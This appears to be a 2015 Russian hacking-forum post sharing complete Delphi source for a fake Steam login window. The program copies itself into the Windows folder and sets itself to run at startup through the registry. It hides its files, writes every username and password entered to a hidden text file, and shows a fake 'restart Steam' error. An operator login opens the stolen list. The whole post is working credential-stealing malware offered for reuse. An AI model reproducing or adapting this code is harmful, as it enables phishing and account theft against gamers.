1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

[delphi] Фейк стима

Тема в разделе "Исходные коды", создана пользователем NoBody, 30 июл 2015.

  1. TopicStarter Overlay
    NoBody

    NoBody

    Регистрация:
    3 мар 2014
    Сообщения:
    229
    Симпатии:
    468
    [​IMG]

    Код:
    unit fake;
    interface
    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.Imaging.pngimage,
      Vcl.StdCtrls, Registry;
    type
      TForm1 = class(TForm)
        Image1: TImage;
        Image2: TImage;
        Edit1: TEdit;
        Edit2: TEdit;
        Image3: TImage;
        Image4: TImage;
        Image5: TImage;
        Image6: TImage;
        procedure Image2Click(Sender: TObject);
        procedure Image3Click(Sender: TObject);
        procedure Image4Click(Sender: TObject);
        procedure Image5Click(Sender: TObject);
        procedure Image6Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    var
      Form1: TForm1;
    implementation
    {$R *.dfm}
    procedure TForm1.FormCreate(Sender: TObject);
    var
      nombrereal: string;
      rutareal: string;
      yalisto: string;
      her: TRegistry;
    begin
      try
        begin
          nombrereal := ExtractFileName(ParamStr(0));
          rutareal := ParamStr(0);
          yalisto := 'C:\WINDOWS\' + nombrereal;
          CopyFile(Pchar(rutareal), Pchar(yalisto), false);
          her := TRegistry.Create;
          her.RootKey := HKEY_LOCAL_MACHINE;
          her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
          her.WriteString('ubersteam', yalisto);
          her.Free;
          SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
          SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
        end;
      except
        //
      end;
    end;
    procedure TForm1.Image2Click(Sender: TObject);
    var
      archivo: TextFile;
      ruta: string;
    begin
      if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
      begin
        try
          begin
            WinExec('notepad c:/windows/datos.txt', SW_SHOW);
          end;
        except
          //
        end;
      end
      else
      begin
        if Edit1.Text = '' then
        begin
          ShowMessage('Escriba tu usuario');
        end;
        if Edit2.Text = '' then
        begin
          ShowMessage('Escribe tu contraseña');
        end
        else
        begin
          if Edit2.Text = 'Escribe aqui tu contraseña' then
          begin
            ShowMessage('Escribe tu contraseña');
          end
          else
          begin
            try
              begin
                ruta := 'c:/windows/datos.txt'; // mod
                if FileExists(ruta) then
                begin
                  AssignFile(archivo, ruta);
                  FileMode := fmOpenWrite;
                  Append(archivo);
                  Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
                    Edit2.Text);
                  CloseFile(archivo);
                  Application.MessageBox
                    ('Se ha producido un error , es necesario reiniciar Steam',
                    'Steam', MB_OK);
                  Form1.Close;
                end
                else
                begin
                  AssignFile(archivo, ruta);
                  FileMode := fmOpenWrite;
                  ReWrite(archivo);
                  Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
                    Edit2.Text);
                  CloseFile(archivo);
                  Application.MessageBox
                    ('Se ha producido un error , es necesario reiniciar Steam',
                    'Steam', MB_OK);
                  Form1.Close;
                end;
              end;
            except
              //
            end;
          end;
        end;
      end;
    end;
    procedure TForm1.Image3Click(Sender: TObject);
    begin
      Application.Terminate;
    end;
    procedure TForm1.Image4Click(Sender: TObject);
    begin
      ShowMessage('Not available');
    end;
    procedure TForm1.Image5Click(Sender: TObject);
    begin
      ShowMessage('Not available');
    end;
    procedure TForm1.Image6Click(Sender: TObject);
    begin
      ShowMessage('Not available');
    end;
    end.
     
    • Like Like x 3
    Метки:

Поделиться этой страницей

Загрузка...